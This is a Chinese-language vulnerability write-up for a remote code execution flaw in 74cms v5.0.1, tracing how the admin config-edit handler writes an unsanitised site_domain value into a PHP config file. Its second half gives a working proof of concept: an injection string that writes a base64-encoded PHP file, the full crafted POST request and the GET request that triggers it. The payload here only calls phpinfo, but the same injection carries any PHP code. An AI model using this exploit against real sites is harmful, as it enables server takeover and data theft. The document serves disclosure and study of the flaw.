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74cms v5.0.1远程执行代码

一、漏洞简介

二、漏洞影响

74cms v5.0.1

三、复现过程

漏洞分析

POST /74cms/index.php?m=Admin&c=config&a=edit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/74cms/index.php?m=Admin&c=Config&a=index
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 391
Connection: close
Cookie: PHPSESSID=arm0lvlbbfocml5vvac1tf3ph3; think_language=zh-CN; think_template=default

site_name=%E9%AA%91%E5%A3%AB%E4%BA%BA%E6%89%8D%E7%B3%BB%E7%BB%9F&site_domain=127.0.0.1&site_dir=%2F74cms%2F&top_tel=000-00000000&bootom_tel=000-00000000&contact_email=&address=00%E7%9C%8100%E5%B8%8200%E8%B7%AF00%E5%8F%B70%E5%A4%A7%E5%8E%A600%E6%A5%BC&bottom_other=Copyright+%C2%A9+2019+74cms.com+All+Right+Reserved+&icp=icp000000000&isclose=0&close_reason=&statistics=&logo_home=&logo_other=

c=config&a=edit -> Controller=config&action=edit -> /Application/Admin/Controller/ConfigController.class.php Line 9: I(\'request.site_domain\',\'\',\'trim\') -> trim($site_domain,\'/\') -> \'.\'.implode(\'.\',$domain) -> array(\'domain\'=>$domain) -> $this->update_config($config,CONF_PATH.\'url.php\')

public function edit(){
       if(IS_POST){
           $site_domain = I('request.site_domain','','trim');
           $site_domain = trim($site_domain,'/');
           $site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
           $site_dir = $site_dir==''?'/':$site_dir;
           $site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
           $_POST['site_dir'] = $site_dir;
           if($site_domain && $site_domain != C('qscms_site_domain')){
               if($site_domain == C('qscms_wap_domain')){
                   $this->returnMsg(0,'主域名不能与触屏版域名重复!');
               }
               $str = str_replace('http://','',$site_domain);
               $str = str_replace('https://','',$str);
               if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
                   $domain = array_slice(explode('.', $str), -3, 3);
               }else{
                   $domain = array_slice(explode('.', $str), -2, 2);
               }
               $domain = '.'.implode('.',$domain);
               $config['SESSION_OPTIONS'] = array('domain'=>$domain);
               $config['COOKIE_DOMAIN'] = $domain;
               $this->update_config($config,CONF_PATH.'url.php');
           }

/ThinkPHP/Common/functions.php第271行中的I(\'request.site_domain\',\'\',\'trim\')是字符串。request.site_domain-> $ _REQUEST [\'site_domain\']-> $ _ REQUEST [\'site_domain\']是字符串->修剪($ _REQUEST [\'site_domain\'])

function I($name,$default='',$filter=null,$datas=null) {
    ...
    if(strpos($name,'.')) { // 指定参数来源
        list($method,$name) =   explode('.',$name,2);
    }else{ // 默认为自动判断
        $method =   'param';
    }
    switch(strtolower($method)) {
        case 'get'     :   
            $input =& $_GET;
            break;
        case 'post'    :   
            $input =& $_POST;
            break;
        ...
        case 'request' :   
            $input =& $_REQUEST;   
            break;
        ...
    }
    if(''==$name) { // 获取全部变量
      ...
        }
    }elseif(isset($input[$name])) { // 取值操作
        $data       =   $input[$name];
        $filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
        //$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');
        if($filters) {
            if(is_string($filters)){
                if(0 === strpos($filters,'/')){
                    if(1 !== preg_match($filters,(string)$data)){
                        // 支持正则验证
                        return   isset($default) ? $default : null;
                    }
                }else{
                    $filters    =   explode(',',$filters);                    
                }
            }elseif(is_int($filters)){
                $filters    =   array($filters);
            }

            if(is_array($filters)){
                foreach($filters as $filter){
                    if(function_exists($filter)) {
                        $data   =   is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
                    }else{
                        $data   =   filter_var($data,is_int($filter) ? $filter : filter_id($filter));
                        if(false === $data) {
                            return   isset($default) ? $default : null;
                        }
                    }
                }
            }
        }
        if(!empty($type)){
          ...
    }else{ // 变量默认值
        $data       =    isset($default)?$default:null;
    }
    is_array($data) && array_walk_recursive($data,'think_filter');
    return $data;
}

返回到/Application/Admin/Controller/ConfigController.class.php第29行:array(\'SESSION_OPTIONS\'=> array(\'domain\'=> $ domain),\'COOKIE_DOMAIN\'=> $ domain) -> update_config($ config, CONF_PATH.\'url.php\')

$config['SESSION_OPTIONS'] = array('domain'=>$domain);
$config['COOKIE_DOMAIN'] = $domain;
$this->update_config($config,CONF_PATH.'url.php');

/Application/Common/Controller/BackendController.class.php第467 行中的update_config($ config,CONF_PATH.\'url.php\'):

multimerge($ config,$ new_config) -> file_put_contents($ config_file," \<?php \ nreturn"。stripslashes(var_export($ config,true))。";",LOCK_EX)

    public function update_config($new_config, $config_file = '') {
        !is_file($config_file) &amp;&amp; $config_file = HOME_CONFIG_PATH . 'config.php';
        if (is_writable($config_file)) {
            $config = require $config_file;
            $config = multimerge($config, $new_config);
            if($config['SESSION_OPTIONS']){
                $config['SESSION_OPTIONS']['path'] = SESSION_PATH;
            }
            file_put_contents($config_file, "&lt;?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
            @unlink(RUNTIME_FILE);
            return true;
        } else {
            return false;
        }
    }
}

multimerge($config, $new_config) in /Application/Common/Common/function.php Line 938: no restricted

function multimerge($a, $b) {
    if (is_array($b) &amp;&amp; count($b)) {
        foreach ($b as $k =&gt; $v) {
            if (is_array($v) &amp;&amp; count($v)) {
                $a[$k] = in_array($k, array('SESSION_OPTIONS')) ? multimerge($a[$k], $v) : $v;
            } else {
                $a[$k] = $v;
            }
        }
    } else {
        $a = $b;
    }
    return $a;
}

CONF_PATH in /ThinkPHP/ThinkPHP.php Line 54: CONF_PATH.\'url.php\' -> /Application/Common/Conf/url.php

defined('COMMON_PATH')  or define('COMMON_PATH',    APP_PATH.'Common/'); // 应用公共目录
defined('CONF_PATH')    or define('CONF_PATH',      COMMON_PATH.'Conf/');
define('APP_PATH','./Application/');

var_export(): Quote string with slashes&Convert special characters to HTML entities -> stripslashes(): un-quotes a quoted string -> Convert special characters to HTML entities -> write file

file_put_contents($config_file, "&lt;?php \nreturn " . stripslashes(var_export($config, true)) . ";",LOCK_

/Application/Home/Conf/url.php: The code after \"return array(...);\" does not work, so payload is site_domain=\', {your php code},\'

&lt;?php 
return array (
  'URL_MODEL' =&gt; 0,
  'URL_HTML_SUFFIX' =&gt; '.html',
  'URL_PATHINFO_DEPR' =&gt; '/',
  'URL_ROUTER_ON' =&gt; true,
  'URL_ROUTE_RULES' =&gt; 
  array (
    '/^jobfair\/(?!admin)(\w+)$/' =&gt; 'jobfair/index/:1',
    '/^mall\/(?!admin)(\w+)$/' =&gt; 'mall/index/:1',
  ),
  'QSCMS_VERSION' =&gt; '5.0.1',
  'QSCMS_RELEASE' =&gt; '2019-03-19 00:00:00',
  'SESSION_OPTIONS' =&gt; 
  array (
    'domain' =&gt; '.0.1',
    0 =&gt; 18,
    1 =&gt; '',
    'path' =&gt; 'D:\***\***\***\WWW\74cms\data\session',
  ),
  'COOKIE_DOMAIN' =&gt; '.0.1',
  0 =&gt; 18,
  1 =&gt; '',
);

复现poc

-> PD9waHAgcGhwaW5mbygpOz8+

site_domain=\', file_put_contents(\'403.php\',base64_decode(\'PD9waHAgcGhwaW5mbygpOz8+\')),\'

POST /74cms/index.php?m=Admin&amp;c=config&amp;a=edit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/74cms/index.php?m=Admin&amp;c=Config&amp;a=index
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 465
Connection: close
Cookie: PHPSESSID=arm0lvlbbfocml5vvac1tf3ph3; think_language=zh-CN; think_template=default

site_name=%E9%AA%91%E5%A3%AB%E4%BA%BA%E6%89%8D%E7%B3%BB%E7%BB%9F&amp;site_domain='%2C+file_put_contents('403.php'%2Cbase64_decode('PD9waHAgcGhwaW5mbygpOz8%2B'))%2C'&amp;site_dir=%2F74cms%2F&amp;top_tel=000-00000000&amp;bootom_tel=000-00000000&amp;contact_email=&amp;address=00%E7%9C%8100%E5%B8%8200%E8%B7%AF00%E5%8F%B70%E5%A4%A7%E5%8E%A600%E6%A5%BC&amp;bottom_other=Copyright+%C2%A9+2019+74cms.com+All+Right+Reserved+&amp;icp=icp000000000&amp;isclose=0&amp;close_reason=&amp;statistics=&amp;logo_home=&amp;logo_other=
GET /74cms/Application/Common/Conf/url.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=arm0lvlbbfocml5vvac1tf3ph3; think_language=zh-CN; think_template=default
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

成功截图

四、参考链接

https://github.com/kyrie403/Vuln/blob/master/74cms/74cms%20v5.0.1%20remote%20code%20execution.md